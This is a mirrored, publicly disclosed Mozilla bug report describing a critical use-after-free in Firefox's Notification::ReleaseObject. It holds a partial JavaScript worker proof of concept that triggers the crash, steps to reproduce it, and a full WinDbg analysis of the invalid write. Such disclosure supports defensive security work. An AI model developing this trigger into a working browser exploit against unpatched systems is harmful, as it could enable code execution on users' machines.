Skip to content
Memory corruption Disclosed report

Use After Free in Notification::ReleaseObject

Looben Yang Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 20 days
  • Paid in 25 days
  • Disclosed after 20 days

Created attachment 8638084 Uaf_NotificationReleaseObject_Repro.js

Firefox version:42.0a1 (2015-07-22) OS: Windows 8.1 64 bit

Reproduce test case(worker code, full test case is attached Uaf_NotificationReleaseObject_Repro.js):

WorkerCode += 'gc = function() \n'; WorkerCode += '{\n'; WorkerCode += ' for (var i = 0; i < 0x40000; ++i)\n'; WorkerCode += ' var s = new String("AAAA");\n'; WorkerCode += '};\n';

WorkerCode += 'var noti0 = new Notification("noti0");\n'; WorkerCode += 'try{ close();} catch(e){}\n'; WorkerCode += 'gc();gc();gc();\n';

Steps to reproduce:

  1. Run server side script Uaf_NotificationReleaseObject_Repro.js in Node.js (node Uaf_NotificationReleaseObject_Repro.js).
  2. Enter http://localhost:12345 in Firefox browser.
  3. Firefox crashes in Notification::ReleaseObject:

(1f08.2214): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=188ec9c8 ecx=5a5a5a5a edx=14f25018 esi=5a5a5a5a edi=14f25a00 eip=562318d8 esp=0e8fe0c8 ebp=0e8fe0d8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 xul!mozilla::dom::Notification::ReleaseObject+0x3: 562318d8 ff8ec4000000 dec dword ptr [esi+0C4h] ds:002b:5a5a5b1e=????????

The byte pattern 5a5a5a5a indicates a Use After Free.

The full Windbg report:

0:057> !analyze -v


  •                                                                         *
    
  •                    Exception Analysis                                   *
    
  •                                                                         *
    

FAULTING_IP: xul!mozilla::dom::Notification::ReleaseObject+3 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\dom\notification\notification.cpp @ 2053] 562318d8 ff8ec4000000 dec dword ptr [esi+0C4h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 562318d8 (xul!mozilla::dom::Notification::ReleaseObject+0x00000003) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 5a5a5b1e Attempt to write to address 5a5a5b1e

CONTEXT: 00000000 -- (.cxr 0x0;r) eax=00000001 ebx=188ec9c8 ecx=5a5a5a5a edx=14f25018 esi=5a5a5a5a edi=14f25a00 eip=562318d8 esp=0e8fe0c8 ebp=0e8fe0d8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 xul!mozilla::dom::Notification::ReleaseObject+0x3: 562318d8 ff8ec4000000 dec dword ptr [esi+0C4h] ds:002b:5a5a5b1e=????????

FAULTING_THREAD: 00002214

PROCESS_NAME: firefox.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 5a5a5b1e

WRITE_ADDRESS: 5a5a5b1e

FOLLOWUP_IP: xul!mozilla::dom::Notification::ReleaseObject+3 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\dom\notification\notification.cpp @ 2053] 562318d8 ff8ec4000000 dec dword ptr [esi+0C4h]

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

APP: firefox.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_FILL_PATTERN_5a5a5a5a

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_FILL_PATTERN_5a5a5a5a

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_FILL_PATTERN_5a5a5a5a

LAST_CONTROL_TRANSFER: from 56230c51 to 562318d8

STACK_TEXT:
0e8fe0c8 56230c51 172e8000 172e8000 0e8fe130 xul!mozilla::dom::Notification::ReleaseObject+0x3 0e8fe0d8 5576b025 1498cc80 00000002 00000000 xul!mozilla::dom::NotificationFeature::Notify+0x52 0e8fe130 55267fc6 1498cc80 00000002 0ea03040 xul!mozilla::dom::workers::WorkerPrivate::NotifyFeatures+0x502fbb 0e8fe1b8 55f67784 1498cc80 00000002 00000000 xul!mozilla::dom::workers::WorkerPrivate::NotifyInternal+0x80 0e8fe1d8 551dfa44 1498cc80 0e8fe204 18cfa820 xul!mozilla::dom::WorkerGlobalScopeBinding_workers::close+0x30 0e8fe21c 550b3d50 1498cc80 00000000 18cfa820 xul!mozilla::dom::WorkerGlobalScopeBinding_workers::genericMethod+0xce 0e8fe2ac 551ced6b 15fb1080 00000000 00000000 xul!js::Invoke+0x130 0e8ff1b8 556d5436 1498cc80 00000000 00000000 xul!Interpret+0x5eb 0e8ff228 5522de01 1498cc80 0e8ff270 1498cc80 xul!js::RunScript+0x1e6 0e8ff2f8 5522df81 0e8ff3a4 00000000 00f7d838 xul!js::Execute+0x1c6 0e8ff3a8 55548739 1725f9dc 56cfc69c 0ea070d0 xul!Evaluate+0x99 0e8ff4d8 5529b119 1498cc80 172e8000 1b59c880 xul!anonymous namespace'::ScriptExecutorRunnable::WorkerRun+0x131 0e8ff5e4 5543a508 1726ea90 172e8000 00000000 xul!mozilla::dom::workers::WorkerRunnable::Run+0x13f 0e8ff6dc 5543b17a 1b59c880 00000000 0e8ff6f7 xul!nsThread::ProcessNextEvent+0x6ca 0e8ff6f8 55268b49 172e8000 14de2c40 00000000 xul!NS_ProcessNextEvent+0x1a 0e8ff720 55546e40 172e8000 165cee98 1498cc80 xul!mozilla::dom::workers::WorkerPrivate::RunCurrentSyncLoop+0x15d 0e8ff74c 55280902 0e8ff770 00000001 00000000 xul!anonymous namespace'::LoadAllScripts+0x72 0e8ff774 552808a4 00000000 0e8ff88c 5529b119 xul!mozilla::dom::workers::scriptloader::LoadMainScript+0x45 0e8ff780 5529b119 1498cc80 172e8000 1b59c880 xul!anonymous namespace'::CompileScriptRunnable::WorkerRun+0x10 0e8ff88c 5543a508 165cee80 172e8000 00000000 xul!mozilla::dom::workers::WorkerRunnable::Run+0x13f 0e8ff984 5543b17a 1b59c880 00000000 0e8ff99f xul!nsThread::ProcessNextEvent+0x6ca 0e8ff9a0 55268df7 1498cc80 14f11000 14f1f8c0 xul!NS_ProcessNextEvent+0x1a 0e8ff9f4 552aa565 1498cc80 1b59c880 00000000 xul!mozilla::dom::workers::WorkerPrivate::DoRunLoop+0xde 0e8ffb04 5543a508 14f1f8c0 1460cc80 0e8ffc01 xul!anonymous namespace'::WorkerThreadPrimaryRunnable::Run+0x107 0e8ffbfc 5543b17a 1b59c880 0e8ffc01 0e8ffc17 xul!nsThread::ProcessNextEvent+0x6ca 0e8ffc18 552b1195 1460cc80 1460cc80 1d416ae0 xul!NS_ProcessNextEvent+0x1a 0e8ffc3c 5543766b 1460cc80 54564d2c 1b59c880 xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0xab 0e8ffc74 55437ccd 1460cc80 00000001 1b59c800 xul!MessageLoop::RunHandler+0x20 0e8ffc94 552a781b 762d24f0 1d416a30 1d416ae0 xul!MessageLoop::Run+0x19 0e8ffcac 57638257 1b59c880 577ebfb4 1476d050 xul!nsThread::ThreadFunc+0x8c 0e8ffcc8 576379f5 1d416a30 0e8ffd0c 577ec01d nss3!_PR_NativeRunThread+0x8c 0e8ffcd4 577ec01d 1d416a30 54eb7b6c 577ebfb4 nss3!pr_root+0xd 0e8ffd0c 577ec001 577ebfb4 0e8ffd2c 762d7c04 MSVCR120!_callthreadstartex+0x1b 0e8ffd18 762d7c04 1476c8c0 762d7be0 74d1fd21 MSVCR120!_threadstartex+0x7c 0e8ffd2c 77adad1f 1476c8c0 7555aeba 00000000 KERNEL32!BaseThreadInitThunk+0x24 0e8ffd74 77adacea ffffffff 77ac0238 00000000 ntdll!__RtlUserThreadStart+0x2f 0e8ffd84 00000000 577ebfb4 1476c8c0 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: .cxr 0x0 ; kb

FAULTING_SOURCE_LINE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\dom\notification\notification.cpp

FAULTING_SOURCE_FILE: c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\dom\notification\notification.cpp

FAULTING_SOURCE_LINE_NUMBER: 2053

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: xul!mozilla::dom::Notification::ReleaseObject+3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: xul

IMAGE_NAME: xul.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 55af9cef

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_FILL_PATTERN_5a5a5a5a_c0000005_xul.dll!mozilla::dom::Notification::ReleaseObject

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_FILL_PATTERN_5a5a5a5a_xul!mozilla::dom::Notification::ReleaseObject+3

ANALYSIS_SOURCE: UM

FAILURE_ID_HASH_STRING: um:invalid_pointer_write_fill_pattern_5a5a5a5a_c0000005_xul.dll!mozilla::dom::notification::releaseobject

FAILURE_ID_HASH: {c3d50fcb-bb4e-bb9d-12db-28f13a0bc910}

Followup: MachineOwner

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in DOM: Core & HTML. Mozilla made it public on 12 August 2015.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.